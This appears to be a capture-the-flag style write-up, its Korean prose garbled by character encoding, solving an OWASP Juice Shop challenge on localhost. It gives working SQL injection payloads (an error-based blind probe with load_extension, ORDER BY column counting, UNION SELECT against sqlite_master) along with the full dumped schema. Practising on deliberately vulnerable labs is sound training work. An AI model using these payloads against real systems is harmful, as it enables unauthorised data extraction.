Exfiltrate the entire DB schema definition via SQL Injection. ์ง์ญํ๋ฉด SQL Injection์ ํตํ์ฌ DB ์คํค๋ง์ ์ ์์ด๋ฅผ ๊ฐ์ ธ์ค๋ผ๋ ์๋ฏธ์ด๋ค.
SQLi๋ฅผ ์๋ํด ๋ณผ ์ ์๋ ๊ณต๊ฒฉ ๋ฒกํฐ๋ ํฌ๊ฒ ๋ก๊ทธ์ธ๊ณผ ์ํ ๊ฒ์ ๋ ๊ฐ์ง ์์ง๋ง ๋ก๊ทธ์ธ ๋ถ๋ถ์ ์ผ๋จ SQLi๋ฅผ ํตํด ์ํ๋ ๊ฒฐ๊ณผ๋ฅผ ๊ฐ์ ธ์ค์ง ๋ชปํ๋ฏ๋ก ์ผ๋จ ํจ์คํ์๋ค. (๊ทธ๋ฆฌ๊ณ ์ด๋ฐ ๋ฌธ์ ์ ํ์ ๊ณต๊ฒฉ ๋ฒกํฐ๋ ์ฃผ๋ก ๊ฒ์ ํ์ด์ง์ธ ๊ฒฝ์ฐ๊ฐ ๋ง์์๋ค.)
์ฃผ์ ์๋ ์๊ด ์์ง๋ง ๊ณ์ ํ์ด์ง์๋ ERROR BASED๋ฅผ ์ด์ฉํ๋ ๋ธ๋ผ์ธ๋ SQLi ๊ฐ๋ฅ์ฑ์ ์์๋ค.
jim@juice-sh.op' AND CASE WHEN (select 1 from Users where email='jim@juice-sh.op') THEN 1 ELSE load_extension(1) END;
์ํ ๊ฒ์ ํ์ด์ง์์ ์ผ๋ถ๋ก ์ฑ๊ธ ์ฟผํฐ(')๋ฅผ ๋ณด๋ด๋ณด์์ง๋ง ์์๊ณผ ๋ฌ๋ฆฌ ์ค๋ฅ ๊ฐ์ ๊ฒ ์์๋ค.
๊ทธ๋ฐ๋ฐ ์๊ณ ๋ดค๋๋ ์ง์ง ์์ฒญ์ rest API๋ก ๋ฐ๋ก ๋ณด๋ด๋ ๊ฑฐ์์ผ๋ฉฐ ์ ๋ ฅํ ํค์๋๋ ํด๋ผ์ด์ธํธ ๋จ์์ ํํฐ๋ง์ด ๋๋ ๊ฒ์ด๋ค.
๋ถ๋ช ์ฑ๊ธ ์ฟผํฐ๋ฅผ ํฌํจํ์ง๋ง rest API๋ก ๋ณด๋ผ ๋๋ ์ ์ธ๊ฐ ๋๋ค.
์๋ฌดํผ ์ง์ ์ฟผ๋ฆฌ๋ฌธ์ ๋ณด๋ผ ๋๋ /rest/products/search?q={์ํ๋ ํค์๋} ์ฃผ์๋ก ๋ณด๋ด๋ ๊ฒ์ด ํ์ํ๋ค.
๋ค์์ fetch ํจ์๋ก ';๋ฅผ ํ๋ผ๋ฏธํฐ ๊ฐ์ผ๋ก ๋ณด๋ธ ๊ฒฐ๊ณผ์ด๋ค.
fetch("http://localhost:3000/rest/products/search?q=';", {
"headers": {
"accept": "application/json, text/plain, */*",
"accept-language": "ko-KR,ko;q=0.9,en-US;q=0.8,en;q=0.7",
"if-none-match": "W/\"327b-kS3UAdqjlU4WDQqUi0PJpKmLrk8\"",
"proxy-connection": "keep-alive",
"sec-ch-ua": "\"Chromium\";v=\"117\", \"Not;A=Brand\";v=\"8\"",
"sec-ch-ua-mobile": "?0",
"sec-ch-ua-platform": "\"Windows\"",
"sec-fetch-dest": "empty",
"sec-fetch-mode": "cors",
"sec-fetch-site": "same-origin"
},
"referrer": "http://localhost:3000/",
"referrerPolicy": "strict-origin-when-cross-origin",
"body": null,
"method": "GET",
"mode": "cors",
"credentials": "include"
});
์๋ต:
{
"error": {
"message": "SQLITE_ERROR: near \";\": syntax error",
"stack": "Error: SQLITE_ERROR: near \";\": syntax error",
"errno": 1,
"code": "SQLITE_ERROR",
"sql": "SELECT * FROM Products WHERE ((name LIKE '%';%' OR description LIKE '%';%') AND deletedAt IS NULL) ORDER BY name"
}
}
์ํ ๊ฒ์ SQL
SELECT * FROM Products WHERE ((name LIKE '%{pํ๋ผ๋ฏธํฐ๊ฐ}%' OR description LIKE '%{pํ๋ผ๋ฏธํฐ๊ฐ}%') AND deletedAt IS NULL) ORDER BY name
์ค์ ์ฌ์ฉํ๋ SQL์ ์์์ผ๋ ์ธ์ ์ ์ ํด์ฃผ๊ธฐ๋ง ํ๋ฉด ๋๋ค.
์ฐ์ ์ปฌ๋ผ์ ๊ฐ์๋ฅผ ์์๋ด๊ธฐ ์ํด ORDER BY๋ฅผ 1๋ถํฐ ๊ณ์ ๋๋ ค์ ์ ๋ ฅํ๋๋ฐ 10์์๋ถํฐ ๋ค์๊ณผ ๊ฐ์ ์ค๋ฅ๊ฐ ๋ฐ์ํ๋ค.
http://localhost:3000/rest/products/search?q=)')) ORDER BY 10 LIMIT 1,1;
์๋ต:
{
"error": {
"message": "SQLITE_ERROR: 1st ORDER BY term out of range - should be between 1 and 9",
"stack": "Error: SQLITE_ERROR: 1st ORDER BY term out of range - should be between 1 and 9",
"errno": 1,
"code": "SQLITE_ERROR",
"sql": "SELECT * FROM Products WHERE ((name LIKE '%)')) ORDER BY 10 LIMIT 1,1;%' OR description LIKE '%)')) ORDER BY 10 LIMIT 1,1;%') AND deletedAt IS NULL) ORDER BY name"
}
}
"should be between 1 and 9" ์นผ๋ผ์ ๋ฒ์๋ 9๊น์ง๋ผ๊ณ ํ๋ค.
์ค์ 1๋ถํฐ 9๊น์ง SELECT๋ฅผ UNION ํด์ฃผ๋ ์๋์ ๊ฐ์ ์ ์์ ์ธ ์๋ต์ด ์ค๊ฒ ๋๋ค.
http://localhost:3000/rest/products/search?q=)')) UNION SELECT 1,2,3,4,5,6,7,8,9 LIMIT 1;
์๋ต:
{
"status": "success",
"data": [
{
"id": 1,
"name": 2,
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
}
]
}
์ด์ ๋จ์๊ฑด ์คํค๋ง ์ ๋ณด๋ฅผ ๊ฐ์ ธ์ค๋ ๊ฒ์ธ๋ฐ sqlite์์ ์คํค๋ง ์ ๋ณด๋ฅผ ๋ด๊ณ ์๋ ํ ์ด๋ธ์ "sqlite_master"์ด๋ค.
"sql" ์นผ๋ผ์ ์ฌ์ฉํ๋ฉด ์ค์ ํ ์ด๋ธ์ ์ฌ์ฉ๋ ์ ์์ด๋ฅผ ๊ฐ์ ธ์ฌ ์ ์์ผ๋ฉฐ "name" ์นผ๋ผ์ ์ฌ์ฉํ๋ฉด ํ ์ด๋ธ์ ์ด๋ฆ ๊ฒฐ๊ณผ๊ฐ ์ถ๋ ฅ๋๋ค.
http://localhost:3000/rest/products/search?q=!')) UNION SELECT sql,name,3,4,5,6,7,8,9 FROM sqlite_master;
์๋ต:
{
"status": "success",
"data": [
{
"id": null,
"name": "sqlite_autoindex_BasketItems_1",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": null,
"name": "sqlite_autoindex_SecurityAnswers_1",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": null,
"name": "sqlite_autoindex_Users_1",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `Addresses` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `fullName` VARCHAR(255), `mobileNum` INTEGER, `zipCode` VARCHAR(255), `streetAddress` VARCHAR(255), `city` VARCHAR(255), `state` VARCHAR(255), `country` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
"name": "Addresses",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `BasketItems` (`ProductId` INTEGER REFERENCES `Products` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, `BasketId` INTEGER REFERENCES `Baskets` (`id`) ON DELETE CASCADE ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `quantity` INTEGER, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, UNIQUE (`ProductId`, `BasketId`))",
"name": "BasketItems",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `Baskets` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `coupon` VARCHAR(255), `UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
"name": "Baskets",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `Captchas` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `captchaId` INTEGER, `captcha` VARCHAR(255), `answer` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
"name": "Captchas",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `Cards` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `fullName` VARCHAR(255), `cardNum` INTEGER, `expMonth` INTEGER, `expYear` INTEGER, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
"name": "Cards",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `Challenges` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `key` VARCHAR(255), `name` VARCHAR(255), `category` VARCHAR(255), `tags` VARCHAR(255), `description` VARCHAR(255), `difficulty` INTEGER, `hint` VARCHAR(255), `hintUrl` VARCHAR(255), `mitigationUrl` VARCHAR(255), `solved` TINYINT(1), `disabledEnv` VARCHAR(255), `tutorialOrder` NUMBER, `codingChallengeStatus` NUMBER, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
"name": "Challenges",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `Complaints` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `message` VARCHAR(255), `file` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
"name": "Complaints",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `Deliveries` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `name` VARCHAR(255), `price` FLOAT, `deluxePrice` FLOAT, `eta` FLOAT, `icon` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
"name": "Deliveries",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `Feedbacks` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `comment` VARCHAR(255), `rating` INTEGER NOT NULL, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
"name": "Feedbacks",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `ImageCaptchas` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `image` VARCHAR(255), `answer` VARCHAR(255), `UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `createdAt` DATETIME, `updatedAt` DATETIME NOT NULL)",
"name": "ImageCaptchas",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `Memories` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `caption` VARCHAR(255), `imagePath` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
"name": "Memories",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `PrivacyRequests` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `deletionRequested` TINYINT(1) DEFAULT 0, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
"name": "PrivacyRequests",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `Products` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `name` VARCHAR(255), `description` VARCHAR(255), `price` DECIMAL, `deluxePrice` DECIMAL, `image` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `deletedAt` DATETIME)",
"name": "Products",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `Quantities` (`ProductId` INTEGER REFERENCES `Products` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `quantity` INTEGER, `limitPerUser` INTEGER DEFAULT NULL, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
"name": "Quantities",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `Recycles` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `AddressId` INTEGER REFERENCES `Addresses` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `quantity` INTEGER, `isPickup` TINYINT(1) DEFAULT 0, `date` DATETIME, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
"name": "Recycles",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `SecurityAnswers` (`UserId` INTEGER UNIQUE REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `SecurityQuestionId` INTEGER REFERENCES `SecurityQuestions` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `answer` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
"name": "SecurityAnswers",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `SecurityQuestions` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `question` VARCHAR(255), `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
"name": "SecurityQuestions",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `Users` (`id` INTEGER PRIMARY KEY AUTOINCREMENT, `username` VARCHAR(255) DEFAULT '', `email` VARCHAR(255) UNIQUE, `password` VARCHAR(255), `role` VARCHAR(255) DEFAULT 'customer', `deluxeToken` VARCHAR(255) DEFAULT '', `lastLoginIp` VARCHAR(255) DEFAULT '0.0.0.0', `profileImage` VARCHAR(255) DEFAULT '/assets/public/images/uploads/default.svg', `totpSecret` VARCHAR(255) DEFAULT '', `isActive` TINYINT(1) DEFAULT 1, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL, `deletedAt` DATETIME)",
"name": "Users",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE `Wallets` (`UserId` INTEGER REFERENCES `Users` (`id`) ON DELETE NO ACTION ON UPDATE CASCADE, `id` INTEGER PRIMARY KEY AUTOINCREMENT, `balance` INTEGER DEFAULT 0, `createdAt` DATETIME NOT NULL, `updatedAt` DATETIME NOT NULL)",
"name": "Wallets",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
},
{
"id": "CREATE TABLE sqlite_sequence(name,seq)",
"name": "sqlite_sequence",
"description": 3,
"price": 4,
"deluxePrice": 5,
"image": 6,
"createdAt": 7,
"updatedAt": 8,
"deletedAt": 9
}
]
}
์ฐธ๊ณ :
https://stackoverflow.com/questions/6460671/sqlite-schema-information-metadata
SQLite Schema Information Metadata
I need to get column names and their tables in a SQLite database. What I need is a resultset with 2 columns: table_name | column_name. In MySQL, I'm able to get this information with a SQL query on
stackoverflow.com